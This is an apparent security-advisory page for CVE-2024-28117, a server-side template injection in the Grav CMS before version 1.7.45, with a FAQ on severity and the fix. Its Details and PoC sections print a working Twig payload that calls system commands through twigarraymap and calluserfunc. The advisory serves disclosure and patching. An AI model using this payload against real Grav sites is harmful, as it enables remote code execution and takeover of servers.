CVE-2024-28117: Grav vulnerable to Server Side Template Injection (SSTI)

Published Mar 21, 2024
·
Updated

Summary Grav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twigarraymap, allowing attackers to bypass the validation and execute arbitrary commands.

Details {{ grav.twig.twig.getFunction('twigarraymap')|vardump }} !image

When we accessed twigarraymap like this, we confirmed that the twigFunction object is properly returned. Since the callable property is correctly included, we can access twigarraymap without any restrictions.

{% set cmd = {'id':'system'} %} {{ twigarraymap(grav.twig.twig,cmd,'calluserfunc')|join }} Since there is no validation on twigarraymap itself, it is possible to call arbitrary function using calluserfunc.

PoC {% set cmd = {'id':'system'} %} {{ twigarraymap(grav.twig.twig,cmd,'calluserfunc')|join }}

Impact Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.

Other sources

Grav is an open-source, flat-file content management system. Prior to version 1.7.45, Grav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twigarraymap, allowing attackers to bypass the validation and execute arbitrary commands. Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance. Upgrading to patched version 1.7.45 can mitigate this issue.

MITRE

Affected Software

2 affected componentsFixes available
composer/getgrav/grav<1.7.45
1.7.45
getgrav Grav<1.7.45

Event History

Mar 21, 2024
CVE Published
via MITRE·09:50 PM
Data Sourced
via MITRE·09:50 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:15 PM
DescriptionSeverityWeakness
Mar 22, 2024
Advisory Published
via GitHub·04:35 PM

Frequently Asked Questions

1

What is the severity of CVE-2024-28117?

The severity of CVE-2024-28117 is currently rated as critical due to the potential for arbitrary command execution.

2

How do I fix CVE-2024-28117?

To fix CVE-2024-28117, upgrade to the patched version 1.7.45 or later of the Grav software.

3

What are the potential impacts of CVE-2024-28117?

CVE-2024-28117 can allow attackers to execute arbitrary commands on the server, compromising the entire application.

4

Which versions of Grav are affected by CVE-2024-28117?

CVE-2024-28117 affects all versions of Grav prior to 1.7.45.

5

What function is exploited in CVE-2024-28117?

CVE-2024-28117 exploits the lack of restrictions on the twig_array_map function, allowing bypassing of validation.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203